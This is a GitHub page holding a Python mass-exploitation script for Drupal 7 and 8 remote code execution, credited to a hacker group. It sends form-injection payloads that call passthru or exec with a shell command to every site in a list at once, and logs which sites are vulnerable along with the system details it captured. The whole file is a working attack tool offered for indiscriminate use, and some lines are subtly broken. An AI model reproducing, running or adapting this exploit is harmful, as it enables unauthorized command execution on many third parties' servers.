-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathDrupal-RCE-Mass-Exploiter.py
More file actions
159 lines (146 loc) · 6.2 KB
/
Drupal-RCE-Mass-Exploiter.py
File metadata and controls
159 lines (146 loc) · 6.2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
# Drupal Mass Exploiter
# Coded by s h e l l o r d
# GSH | CyberTeamRox
# PRIVATE SCRIPT
import sys
import aiohttp
import asyncio
from bs4 import BeautifulSoup
import colorama
from colorama import Fore, Style
TIMEOUT = 10
COMMAND = 'id;uname -a'
HS = '-'*120
BANNER = """
__ __ __ ____ ______ ___ ____ ___
/ ]| T Tl j| T / \ / T / _]
/ / | l | | T | |Y YY __j / [_
/ / | _ | | | l_j l_j| O || T |Y _]
/ \_ | | | | | | | | || l_ || [_
\ || | | j l | | l !| || T
\____jl__j__j|____j l__j \___/ l___,_jl_____j
Coded by s h e l l o r d
` Drupal Mass Exploiter `
"""
print(Fore.CYAN+BANNER)
if(len(sys.argv) < 3):
print(" python3 "+sys.argv[0]+" list output workers proxy(default:none)")
print(Style.RESET_ALL)
exit()
INPUT_LIST = sys.argv[1]
LOG_FILE = sys.argv[2]
WORKERS = int(sys.argv[3])
try:
PROXY = sys.argv[4]
except:
PROXY = None
try:
EXPLOIT_TO_USE = int(sys.argv[5])
except:
EXPLOIT_TO_USE = 78
async def drup7(session, URL):
GET_PARAMS = {'q': 'user/password', 'name[#post_render][]': 'passthru',
'name[#type]': 'markup', 'name[#markup]': COMMAND}
POST_PARAMS = {'form_id': 'user_pass', '_triggering_element_name': 'name',
'_triggering_element_value': '', 'opz': 'E-mail new Password'}
try:
async with session.post(URL, proxy=PROXY, params=GET_PARAMS, data=POST_PARAMS, timeout=TIMEOUT) as response:
soup = BeautifulSoup(await response.text(), "html.parser")
form = soup.find('form', {'id': 'user-pass'})
if(form == None):
print(Fore.YELLOW+HS+'\n')
print(Fore.CYAN+URL+Fore.YELLOW +
' [!] [Drupal 7][Not Vulnerable]\n')
return
form_build_id = form.find(
'input', {'name': 'form_build_id'}).get('value')
if form_build_id:
get_params = {'q': 'file/ajax/name/#value/' + form_build_id}
post_params = {'form_build_id': form_build_id}
async with session.post(URL, proxy=PROXY, params=get_params, data=post_params) as r:
parsed_result = (await r.text()).split('{"command":"settings"')[0]
if 'not recognized' in parsed_result or 'uid' in parsed_result and len(parsed_result) < 1000:
print(Fore.YELLOW+HS+'\n')
print(Fore.CYAN+URL+Fore.GREEN +
' [+] [Drupal 7][Vulnerable]\n')
if 'uid' in parsed_result:
id = parsed_result[0:parsed_result.rfind(
')')+1].strip()
uname = parsed_result[parsed_result.rfind(
')')+1:-1].strip()
print(Fore.WHITE+"[-] UID: "+id)
print(Fore.WHITE+"[-] UNAME: "+uname)
OUT = open(LOG_FILE+'-extended', 'a')
OUT.write("#"*100+'\n'+URL+' \nID: ' + id +
'\nUNAME: ' + uname + '\n')
OUT.close()
OUT = open(LOG_FILE, 'a')
OUT.write(URL+'\n')
OUT.close()
else:
print(Fore.WHITE+"[-] Windows")
OUT = open(LOG_FILE-extended, 'a')
OUT.write(URL+' | Windows \n')
OUT.close()
OUT = open(LOG_FILE, 'a')
OUT.write(URL+'\n')
OUT.close()
else:
print(Fore.YELLOW+HS+'\n')
print(Fore.CYAN+URL+Fore.RED +
' [!] [Drupal 7][Failed]\n')
except:
print(Fore.CYAN+HS+'\n')
print(URL+Fore.RED+' [!] [Network Fail]\n')
return
async def drup8(session, URL):
if URL[-1] == '/':
URL = URL[:-1]
GET_PARAMS = {
'element_parents': 'timezone/timezone/%23value', 'ajax_form': '1'}
POST_PARAMS = {'form_id': 'user_register_form', '_drupal_ajax': '1',
'timezone[#post_render][]': 'exec', 'timezone[#markup]': COMMAND}
try:
async with session.post(URL+'/user/register', proxy=PROXY, params=GET_PARAMS, data=POST_PARAMS, timeout=TIMEOUT) as response:
soup = BeautifulSoup(await response.text(), "html.parser")
if 'not recognized' in soup or 'gid=' in soup:
print(Fore.YELLOW+HS+'\n')
print(Fore.CYAN+URL+Fore.GREEN +
' [+] [Drupal 8][Vulnerable]\n')
OUT = open(LOG_FILE+'-Drupal8', 'a')
OUT.write(URL+'\n')
OUT.close()
else:
print(Fore.YELLOW+HS+'\n')
print(Fore.CYAN+URL+Fore.RED+' [!] [Drupal 8][Failed]\n')
except:
print(Fore.CYAN+HS+'\n')
print(URL+Fore.RED+' [!] [Network Fail]\n')
return
async def main(SITE_LIST):
async with aiohttp.TCPConnector(ssl=False) as connector:
async with aiohttp.ClientSession(connector=connector) as session:
if EXPLOIT_TO_USE == 7:
await asyncio.gather(*[drup7(session, site.strip()) for site in SITE_LIST])
elif EXPLOIT_TO_USE == 8:
await asyncio.gather(*[drup8(session, site.strip()) for site in SITE_LIST])
else:
await asyncio.gather(*[drup7(session, site.strip()) for site in SITE_LIST], *[drup8(session, site.strip()) for site in SITE_LIST])
if __name__ == '__main__':
try:
with open(INPUT_LIST) as INPUT_FILE:
FULL_LIST = INPUT_FILE.readlines()
except:
print(Fore.RED+" [!] Check your Arguments")
exit()
start = 0
limit = WORKERS
end = (len(FULL_LIST))
if(limit > end):
limit = end
while(limit <= end):
SITE_LIST = FULL_LIST[start:limit]
asyncio.get_event_loop().run_until_complete(main(SITE_LIST))
start = limit
limit = limit + limit
print(Style.RESET_ALL)